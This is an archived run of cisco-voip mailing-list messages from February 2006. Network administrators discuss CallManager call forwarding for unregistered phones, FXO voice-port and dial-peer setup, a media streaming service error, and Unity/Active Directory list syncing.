In-Reply-To: <001401c632ff$101c0980$c801a8c0@deadfish>
References: <43F45964.5010405@dataways.gr>
	<001401c632ff$101c0980$c801a8c0@deadfish>
Message-ID: <43F491FD.2080904@dataways.gr>

Thanks Lelio,
it is working with EM and CCM 4.1(3)! I have simulated it in my LAB!! I 
have never thought that it could follow the forwarding targets!! These 
are great news...

Chears
Anthony

Lelio Fulgenzi wrote:

> We have not tried EM with 3.3(4), but if I unplug a phone it does 
> follow the forwarding targets (which order I can't exactly remember). 
> I would hope it would have been the same when a DN becomes unavailable 
> after EM login.
>  
> What version of CallManager are you using? I recall that CallManager 
> handled things differently in future versions.
>  
>
>     ----- Original Message -----
>     *From:* Anthony Kouloglou <mailto:akoul at dataways.gr>
>     *To:* cisco-voip at puck-nether.net <mailto:cisco-voip at puck-nether.net>
>     *Sent:* Thursday, February 16, 2006 5:52 AM
>     *Subject:* [cisco-voip] Forward calls to Unity when device gets
>     Unregistered
>
>     Hi all,
>     is there a way for a call manager to be aware of the state of one
>     phone,
>     so it can forward the calls to Unity -voice mail.
>     In that case , when someone logs in to the device with extension
>     mobility, and the old device/number does not exist, it can forward
>     the
>     calls to Voice mail.
>
>     Thanks
>     _______________________________________________
>     cisco-voip mailing list
>     cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net>
>     https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From rratliff at cisco.com  Thu Feb 16 09:55:07 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 16 09:55:05 2006
Subject: [cisco-voip] Analog line / FXO Port issues
In-Reply-To: <253FAE7A06B11B49A3A29770B2B8BAFC64821A@CSEXCH01.charles-stanley.co.uk>
References: <253FAE7A06B11B49A3A29770B2B8BAFC64821A@CSEXCH01.charles-stanley.co.uk>
Message-ID: <A8A1F023-557E-469B-85D5-34B9EEA9F98C@cisco.com>

Looks good to me, although you haven't specified a codec so g.729  
will be used for calls from this router to CM.

You are correct having all of them set to plar to the same dn only  
requires one voip dial-peer (plus any extra for redundancy) but make  
sure you set the max calls on all of those lines to at least 4 as Wes  
suggested.

-Ryan

On Feb 16, 2006, at 2:48 AM, Nick Kassel wrote:

Thanks Wes,


yes we have the voip dialpeer pointing to the call manager and we  
have shared lines on the phones, what we are unsure about is due to  
these 4 lines being multi auxiliary anaolgue lines with one number,  
how we set up the other lines. Do we have all 4 of the voice ports  
pointing to the one connection plar 86820 and then just one voip  
dialpeer pointing to the call manager serving all 4 lines. If that is  
the case would you say that out config below except for the dialpeer  
voice 2  voip is correct?


Regards


Nick


From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Wednesday, February 15, 2006 5:47 PM
To: James Dust
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Analog line / FXO Port issues


FXO prevents you from receiving called party number from the PSTN, so  
you have to PLAR each of those lines.


looks like your VOIP dial-peer is pointing to an h323 destination, CM?


once the gateway sends the h323 call setup to CM, you can choose how  
you want the call routed in CM. you can:

configure the destination number as a shared lines on all phones with  
max calls=4 on the phone

configure the destiantion number as a hunt pilot to a huntlist to a  
linegroup of all the desired destination lines and ring broadcast,  
longest idle, etc.


/Wes



On Feb 15, 2006, at 11:23 AM, James Dust wrote:


Can anyone help us with this as we are no further forward.


From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Nick Kassel
Sent: 10 February 2006 14:24
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Analog line / FXO Port issues

We are currently trying to set up one of our small remote sites  
utilising there 4 existing analogue lines, which have one number  
spread across them, we are a using a 4 port vic2-4fxo card in a 1760.  
We can make outgoing and incoming calls but are having issues with  
multiple incoming calls, we would like each phone to have just the  
one shared DN 86820 but can?t seem to get it to work so have been  
playing about with the voiceport and dialpeer configuration by adding  
another number to connection plar and on line 2 on the phones, please  
can any one help out with the correct way to set it up, below is our  
current config so far.



     !

voice-port 1/0

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line

!

voice-port 1/1

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86821

  impedance complex2

  description Wimborne Main Line 2

!

voice-port 1/2

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line 3

!

voice-port 1/3

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line 4

!

no mgcp package-capability res-package

no mgcp package-capability fxr-package

no mgcp timer receive-rtcp

!

!

!

!

dial-peer voice 1 voip

  preference 1

  destination-pattern 86820

  progress_ind setup enable 3

  session target ipv4:172.30.0.2

  dtmf-relay h245-alphanumeric

  no vad

!

dial-peer voice 20 pots

  preference 8

  destination-pattern 9.T

  port 1/3

!

dial-peer voice 21 pots

  preference 9

  destination-pattern 9.T

  port 1/2

!

dial-peer voice 22 pots

  preference 10

  destination-pattern 9.T

  port 1/1

!

dial-peer voice 2 voip

  preference 2

  destination-pattern 86820

  progress_ind setup enable 3

  session target ipv4:172.30.0.2

  dtmf-relay h245-alphanumeric

  no vad



Regards


Nick



************************************************************************ 
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of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
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You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
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************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
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************************************************************************ 
***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
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You accept that any instructions are deemed to have been given at the  
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acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************ 
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

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https://puck.nether.net/mailman/listinfo/cisco-voip





************************************************************************ 
***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
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should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the  
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acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************ 
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.
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https://puck.nether.net/mailman/listinfo/cisco-voip



From rratliff at cisco.com  Thu Feb 16 09:57:16 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 16 09:57:10 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
In-Reply-To: <001401c632ff$101c0980$c801a8c0@deadfish>
References: <43F45964.5010405@dataways.gr>
	<001401c632ff$101c0980$c801a8c0@deadfish>
Message-ID: <AB454903-812A-4740-B994-0E56D034FB8D@cisco.com>

I want to say that CM will follow the CFNA forwarding rules when a  
device is unregistered.  This should be the case in all versions of  
CM (unless they changed it recently).

-Ryan

On Feb 16, 2006, at 8:44 AM, Lelio Fulgenzi wrote:

We have not tried EM with 3.3(4), but if I unplug a phone it does  
follow the forwarding targets (which order I can't exactly remember).  
I would hope it would have been the same when a DN becomes  
unavailable after EM login.

What version of CallManager are you using? I recall that CallManager  
handled things differently in future versions.

----- Original Message -----
From: Anthony Kouloglou
To: cisco-voip at puck-nether.net
Sent: Thursday, February 16, 2006 5:52 AM
Subject: [cisco-voip] Forward calls to Unity when device gets  
Unregistered

Hi all,
is there a way for a call manager to be aware of the state of one phone,
so it can forward the calls to Unity -voice mail.
In that case , when someone logs in to the device with extension
mobility, and the old device/number does not exist, it can forward the
calls to Voice mail.

Thanks
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From lelio at uoguelph.ca  Thu Feb 16 10:08:52 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 10:09:00 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
References: <43F45964.5010405@dataways.gr>
	<001401c632ff$101c0980$c801a8c0@deadfish>
	<43F491FD.2080904@dataways.gr>
Message-ID: <001001c6330a$e64be1a0$c801a8c0@deadfish>

When I did my research I found that there was a priority in which it selected, for example, fwd all takes precedent, but i can't remember if ring busy takes precedent over ring no answer. Not a big deal if they are the same, but if there are different, it will be important to know. Testing shouldn't take too long.

I'm almost positive that there is a service parameter that says "treat unregistered phones as if they don't exist" or something like that in 4.x.

  ----- Original Message ----- 
  From: Anthony Kouloglou 
  To: Lelio Fulgenzi 
  Cc: cisco-voip at puck-nether.net 
  Sent: Thursday, February 16, 2006 9:53 AM
  Subject: Re: [cisco-voip] Forward calls to Unity when device gets Unregistered


  Thanks Lelio,
  it is working with EM and CCM 4.1(3)! I have simulated it in my LAB!! I have never thought that it could follow the forwarding targets!! These are great news...

  Chears
  Anthony

  Lelio Fulgenzi wrote: 
    We have not tried EM with 3.3(4), but if I unplug a phone it does follow the forwarding targets (which order I can't exactly remember). I would hope it would have been the same when a DN becomes unavailable after EM login.

    What version of CallManager are you using? I recall that CallManager handled things differently in future versions.

      ----- Original Message ----- 
      From: Anthony Kouloglou 
      To: cisco-voip at puck-nether.net 
      Sent: Thursday, February 16, 2006 5:52 AM
      Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered


      Hi all,
      is there a way for a call manager to be aware of the state of one phone, 
      so it can forward the calls to Unity -voice mail.
      In that case , when someone logs in to the device with extension 
      mobility, and the old device/number does not exist, it can forward the 
      calls to Voice mail.

      Thanks
      _______________________________________________
      cisco-voip mailing list
      cisco-voip at puck.nether.net
      https://puck.nether.net/mailman/listinfo/cisco-voip
-------------- next part --------------
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From Nick.Kassel at Charles-Stanley.co.uk  Thu Feb 16 10:15:32 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Thu Feb 16 10:15:47 2006
Subject: [cisco-voip] Analog line / FXO Port issues
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC64821F@CSEXCH01.charles-stanley.co.uk>

Excellent, many thanks for you reply Ryan.

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Thursday, February 16, 2006 2:55 PM
To: Nick Kassel
Cc: Wes Sisk; James Dust; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Analog line / FXO Port issues

Looks good to me, although you haven't specified a codec so g.729  
will be used for calls from this router to CM.

You are correct having all of them set to plar to the same dn only  
requires one voip dial-peer (plus any extra for redundancy) but make  
sure you set the max calls on all of those lines to at least 4 as Wes  
suggested.

-Ryan

On Feb 16, 2006, at 2:48 AM, Nick Kassel wrote:

Thanks Wes,


yes we have the voip dialpeer pointing to the call manager and we  
have shared lines on the phones, what we are unsure about is due to  
these 4 lines being multi auxiliary anaolgue lines with one number,  
how we set up the other lines. Do we have all 4 of the voice ports  
pointing to the one connection plar 86820 and then just one voip  
dialpeer pointing to the call manager serving all 4 lines. If that is  
the case would you say that out config below except for the dialpeer  
voice 2  voip is correct?


Regards


Nick


From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Wednesday, February 15, 2006 5:47 PM
To: James Dust
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Analog line / FXO Port issues


FXO prevents you from receiving called party number from the PSTN, so  
you have to PLAR each of those lines.


looks like your VOIP dial-peer is pointing to an h323 destination, CM?


once the gateway sends the h323 call setup to CM, you can choose how  
you want the call routed in CM. you can:

configure the destination number as a shared lines on all phones with  
max calls=4 on the phone

configure the destiantion number as a hunt pilot to a huntlist to a  
linegroup of all the desired destination lines and ring broadcast,  
longest idle, etc.


/Wes



On Feb 15, 2006, at 11:23 AM, James Dust wrote:


Can anyone help us with this as we are no further forward.


From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Nick Kassel
Sent: 10 February 2006 14:24
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Analog line / FXO Port issues

We are currently trying to set up one of our small remote sites  
utilising there 4 existing analogue lines, which have one number  
spread across them, we are a using a 4 port vic2-4fxo card in a 1760.  
We can make outgoing and incoming calls but are having issues with  
multiple incoming calls, we would like each phone to have just the  
one shared DN 86820 but can't seem to get it to work so have been  
playing about with the voiceport and dialpeer configuration by adding  
another number to connection plar and on line 2 on the phones, please  
can any one help out with the correct way to set it up, below is our  
current config so far.



     !

voice-port 1/0

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line

!

voice-port 1/1

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86821

  impedance complex2

  description Wimborne Main Line 2

!

voice-port 1/2

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line 3

!

voice-port 1/3

  supervisory disconnect anytone

  signal groundStart

  output attenuation -4

  cptone GB

  connection plar 86820

  impedance complex2

  description Wimborne Main Line 4

!

no mgcp package-capability res-package

no mgcp package-capability fxr-package

no mgcp timer receive-rtcp

!

!

!

!

dial-peer voice 1 voip

  preference 1

  destination-pattern 86820

  progress_ind setup enable 3

  session target ipv4:172.30.0.2

  dtmf-relay h245-alphanumeric

  no vad

!

dial-peer voice 20 pots

  preference 8

  destination-pattern 9.T

  port 1/3

!

dial-peer voice 21 pots

  preference 9

  destination-pattern 9.T

  port 1/2

!

dial-peer voice 22 pots

  preference 10

  destination-pattern 9.T

  port 1/1

!

dial-peer voice 2 voip

  preference 2

  destination-pattern 86820

  progress_ind setup enable 3

  session target ipv4:172.30.0.2

  dtmf-relay h245-alphanumeric

  no vad



Regards


Nick



************************************************************************

***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
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should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the  
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************

************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.



************************************************************************

***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the  
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************

************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

cisco-voip mailing list

cisco-voip at puck.nether.net

https://puck.nether.net/mailman/listinfo/cisco-voip





************************************************************************

***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
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You accept that any instructions are deemed to have been given at the  
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************

************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
VirusScan and SurfControl Email Filter software.



From rratliff at cisco.com  Thu Feb 16 10:19:22 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 16 10:19:18 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
In-Reply-To: <001001c6330a$e64be1a0$c801a8c0@deadfish>
References: <43F45964.5010405@dataways.gr>
	<001401c632ff$101c0980$c801a8c0@deadfish>
	<43F491FD.2080904@dataways.gr>
	<001001c6330a$e64be1a0$c801a8c0@deadfish>
Message-ID: <07210E13-B5F8-412F-849C-4AB521417950@cisco.com>

CFA will always take precedence, regardless of registration state.

-Ryan

On Feb 16, 2006, at 10:08 AM, Lelio Fulgenzi wrote:

When I did my research I found that there was a priority in which it  
selected, for example, fwd all takes precedent, but i can't remember  
if ring busy takes precedent over ring no answer. Not a big deal if  
they are the same, but if there are different, it will be important  
to know. Testing shouldn't take too long.

I'm almost positive that there is a service parameter that says  
"treat unregistered phones as if they don't exist" or something like  
that in 4.x.

----- Original Message -----
From: Anthony Kouloglou
To: Lelio Fulgenzi
Cc: cisco-voip at puck-nether.net
Sent: Thursday, February 16, 2006 9:53 AM
Subject: Re: [cisco-voip] Forward calls to Unity when device gets  
Unregistered

Thanks Lelio,
it is working with EM and CCM 4.1(3)! I have simulated it in my LAB!!  
I have never thought that it could follow the forwarding targets!!  
These are great news...

Chears
Anthony

Lelio Fulgenzi wrote:
> We have not tried EM with 3.3(4), but if I unplug a phone it does  
> follow the forwarding targets (which order I can't exactly  
> remember). I would hope it would have been the same when a DN  
> becomes unavailable after EM login.
>
> What version of CallManager are you using? I recall that  
> CallManager handled things differently in future versions.
>
> ----- Original Message -----
> From: Anthony Kouloglou
> To: cisco-voip at puck-nether.net
> Sent: Thursday, February 16, 2006 5:52 AM
> Subject: [cisco-voip] Forward calls to Unity when device gets  
> Unregistered
>
> Hi all,
> is there a way for a call manager to be aware of the state of one  
> phone,
> so it can forward the calls to Unity -voice mail.
> In that case , when someone logs in to the device with extension
> mobility, and the old device/number does not exist, it can forward the
> calls to Voice mail.
>
> Thanks
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From jonvoip at gmail.com  Thu Feb 16 10:32:09 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 10:32:51 2006
Subject: [cisco-voip] Event Log Error Message
In-Reply-To: <938D28EC-0018-456E-9B98-9B7DC2E185AA@cisco.com>
References: <5d093f9a0602151547x1f765276uda181d627bd3da00@mail.gmail.com>
	<2163495D-398B-4C75-98A0-8135EDA4A71E@cisco.com>
	<5d093f9a0602151631nd4800cfi874ec7677db84631@mail.gmail.com>
	<938D28EC-0018-456E-9B98-9B7DC2E185AA@cisco.com>
Message-ID: <5d093f9a0602160732n3a691f19ge905ace7e5fbf8e4@mail.gmail.com>

I just checked, the error hasn't occurred since.


J

On 2/15/06, Wes Sisk <wsisk at cisco.com> wrote:
>
> very cool.  in the future it's good for the group to see the confirmation
> of resolution too. please?
> thanks. /Wes
>
> On Feb 15, 2006, at 7:31 PM, Jonathan Charles wrote:
>
> Yep, that did it, alarm didn't generate again, I am going to keep
> monitoring.
>
> Thanks!
>
>
>
> Jonathan
>
> On 2/15/06, Wes Sisk <wsisk at cisco.com> wrote:
> >
> > sounds like your IP Voice Media Streaming service is set to started in
> > the windows service control manager but the service is not 'activated' under
> > /ccmservice so it is missing an entry from the CCM database.
> > try to activate (or deactivate/activate) the service in
> > http://server/ccmservice under service service activation
> >
> > /Wes
> > On Feb 15, 2006, at 6:47 PM, Jonathan Charles wrote:
> >
> > Getting the following error message every five minutes:
> >
> > Event Type:     Error
> > Event Source:   Cisco IP Voice Media Streaming App
> > Event Category: None
> > Event ID:       3
> > Date:           2/15/2006
> > Time:           5:39:35 PM
> > User:           N/A
> > Computer:       CCMPUB
> > Description:
> > Error: kDBCheckDblGetNodeNameFailed - Database layer select my process
> > node failure.
> >  App ID: Cisco IP Voice Media Streaming App
> >  Cluster ID: StandAloneCluster
> >  Node ID: 192.168.100.3
> > Explanation: The database layer was unable to find/determine the current
> > node on which this service is running.
> > Recommended Action: Configure the database properly..
> >
> >
> > Cisco's website just repeats the error, with no details.
> >
> > Any ideas?
> >
> >
> >
> > Jonathan
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
>
>
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From wsisk at cisco.com  Thu Feb 16 11:16:06 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb 16 11:16:18 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
In-Reply-To: <43F45964.5010405@dataways.gr>
References: <43F45964.5010405@dataways.gr>
Message-ID: <43F4A546.7060302@cisco.com>

CM already performs this by:

if a line is not registered (line is registered when the device is 
registered) the CFNA destination is used to route the call.

starting in CM 4.2 there will be an additional forwarding option to 
configure on the line called something like 'forward on unregistered' so 
you can specifically control this scenario.

for small deployments in CM 4.1 you can use a huntlist/linegroup and 
'hunt not available' corresponds to the line being unregistered.

/Wes

Anthony Kouloglou wrote:
> Hi all,
> is there a way for a call manager to be aware of the state of one phone, 
> so it can forward the calls to Unity -voice mail.
> In that case , when someone logs in to the device with extension 
> mobility, and the old device/number does not exist, it can forward the 
> calls to Voice mail.
>
> Thanks
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From SPackett at fenwick.com  Thu Feb 16 11:21:52 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Thu Feb 16 11:22:01 2006
Subject: [cisco-voip] Unlink the synchronization relationship
	ofdistribution list in Unity and Active Directory
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AAC7@svcexch02.firm.fenwick.llp>

We were able to determine that my coworker did NOT delete an AD group.
He kept thinking he did, but after using a free product from Quest
Software, we determined it was not there to begin with.  Thanks again. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Stu Packett
Sent: Wednesday, February 15, 2006 5:40 AM
To: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Unlink the synchronization relationship
ofdistribution list in Unity and Active Directory

That was my understanding as well.  I've been trying to recreate the
steps he did.  I created test lists in AD, but the AD list is not being
deleted after I delete the Unity list.  I'll look into it more.  Thanks.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com]
Sent: Tuesday, February 14, 2006 7:26 PM
To: Stu Packett; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Unlink the synchronization relationship of
distribution list in Unity and Active Directory

AFAIK, Unity creates PDLs in the active directory and thats where they
are and used from. They are not stored locally on the unity server. 

--- Stu Packett <SPackett at fenwick.com> wrote:

> Unity 4.1(1)
> 
> We have distribution lists in Unity that were created via the "import"
> feature in Unity.  Now, anytime we make a change in Unity, that change

> is also carried over into Active Directory.  My backup delete a list 
> in Unity which resulted into deleting the same list in AD.  Now that 
> we see the power that Unity has, we don't want to synchronize the 
> Unity and AD lists.  Is there a way to unlink the synchronization 
> relationship between the Unity and AD lists?
> 
> Thanks in advance.
>
--------------------------------------------------------
> 
> IRS Circular 230  Disclosure:  To ensure compliance with requirements 
> imposed by the IRS, we inform you that any U.S. federal tax advice in 
> this communication (including attachments) is not intended or written 
> by Fenwick & West LLP to be used, and cannot be used, for the purpose 
> of (i) avoiding penalties under the Internal Revenue Code or (ii) 
> promoting, marketing, or recommending to another party any transaction

> or matter addressed herein.
>
--------------------------------------------------------
> 
> ATTENTION:
> The information contained in this message may be legally privileged 
> and confidential.  It is intended to be read only by the individual or

> entity to whom it is addressed or by their designee. If the reader of 
> this message is not the intended recipient, you are on notice that any

> distribution of this message, in any form, is strictly prohibited.
>  
> If you have received this message in error, please immediately notify 
> the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 
> and delete or destroy any copy of this message.
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
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--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements
imposed by the IRS, we inform you that any U.S. federal tax advice in
this communication (including attachments) is not intended or written by
Fenwick & West LLP to be used, and cannot be used, for the purpose of
(i) avoiding penalties under the Internal Revenue Code or (ii)
promoting, marketing, or recommending to another party any transaction
or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and
